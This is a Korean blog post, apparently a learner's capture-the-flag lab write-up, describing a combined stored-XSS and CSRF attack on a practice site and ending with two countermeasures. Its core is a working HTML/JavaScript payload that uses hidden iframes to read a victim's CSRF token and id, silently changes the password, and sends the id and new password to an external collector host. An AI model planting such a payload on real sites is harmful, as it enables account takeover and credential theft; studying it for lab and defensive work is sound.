본문 바로가기

보안지식/CSRF

CSRF 3번 공격 시나리오

안녕하세요 이번엔 저번에 실습한 3번 문제의 공격 시나리오을 짜려고 합니다.

처음이라 많이 모자르고 부족한 게 많습니다! 유의해주세요

 

 

https://mynameisarke.tistory.com/58

 

CSRF 공격 - 실습 (3번 풀이)

시작하겠습니다. 저번에 했던 csrf 실습이랑 내용이 같습니다. 그런데 조금 난해한 부분이 있죠 저 토큰 값이 랜덤으로 할당이 되어서 저 값을 가져와야만 회원 수정이 가능합니다! 이 토큰 값은

mynameisarke.tistory.com

 

실습한 내용은 윗 링크에 있습니다.

 

시작하겠습니다!

 

 

 

 

 

CSRF 3번-

 

이 사이트에 비밀번호를 변경을 할 때 따로 인증 과정이 아닌 csrf token을 랜덤으로 할당을 하여서

일치하면 변경이 되는 걸로 되어 있습니다. 하지만 이 csrf token은 마이페이지에 들어가기만 해도 바로 알려주어서

마이페이지로 들어가서 csrf token 값만 가져오고 그 값을 이용하여 비밀번호 변경이 가능한

CSRF 취약점을 발견했습니다.

 

게다가 게시판에 XSS 취약점을 발견을 해서 링크를 통해 CSRF 공격이 통합니다.

 

 

 

1) 공격 과정

 

비밀번호 변경을 할 때

 

csrf_token

 

게시판 xss 공격

 

 

 

 

 

이 xss 공격을 통해 csrf_token 값을 가져오고 비밀번호 변경까지 하게 하겠습니다.

또한 마이페이지에 있는 id 값을 공격자 서버로 보내지게 했습니다.

 

 

<iframe id="getID" src="http://ctf.segfaulthub.com:7777/csrf_3/mypage.php" width="0" height="0" border="0" style="display: none;" onload="exploit()"></iframe>
<iframe id="stealth" name="stealth" width="0" height="0" border="0" style="display: none;" ></iframe>

<form id="ID_form" method="GET" action="https://enr3ta3o9t9c.x.pipedream.net/" target="stealth">
<input type="hidden" name="pw" value="1234">
<input type="hidden" name="id" value="">
</form>

<iframe id="stealth2" name="stealth2" width="0" height="0" border="0" style="display: none;" sandbox="allow-scripts"></iframe>
<form id="pw_form" method="POST" action="http://ctf.segfaulthub.com:7777/csrf_3/mypage_update.php" target="stealth2">
<input type="hidden" name="pw" value="1234">
<input type="hidden" name="csrf_token" value="">
</form>

<script>
	function exploit() {
    	var token = document.getElementById('getID').contentDocument.forms[0].id.placeholder;
        var token2 = document.getElementById('getID').contentDocument.forms[0].csrf_token.value;
        
        document.getElementById('ID_form').id.value=token;
        document.getElementById('pw_form').csrf_token.value=token2;
        document.forms['ID_form'].submit();
        document.forms['pw_form'].submit();
    }
</script>

 

 

 

그리고 이 게시판 들어오는 사람들은 전부 비밀번호 변경 및 id도 공격자 서버에 보내지게 됩니다.

 

http://ctf.segfaulthub.com:7777/csrf_3/notice_read.php?id=186&view=1

 

 

 

-피해자 컴퓨터

 

 

인너넷 기록 - 비밀번호 변경

 

 

 

인터넷 기록 - 공격자 서버로 id값 보내짐

 

 

 

-공격자 컴퓨터

 

id와 변경된 pw값 받아짐

 

 

 

공격자는 이 id와 pw을 통해 자신이 아닌 다른 사람으로 무단 광고나 무단 프로그램 배포까지 가능한 것을 확인했습니다.

 

 

 

________________________________________________________________________________________________

 

대응 방법

 

1. 전 비밀번호을 입력하게 해서 인증과정을 거치게 한다.

 

2. 게시판에 HTML 엔티티로 바꾸는 라이브러리 또는 함수를 이용한다.

'보안지식 > CSRF' 카테고리의 다른 글

SSRF 공격 - 정리,실습  (0) 2023.05.30
CSRF 2번 공격 시나리오  (0) 2023.05.28
CSRF 1번 공격 시나리오  (2) 2023.05.27
CSRF 공격 - 실습 (3번 풀이)  (2) 2023.05.22
CSRF 공격 - 실습 (2번 풀이)  (0) 2023.05.21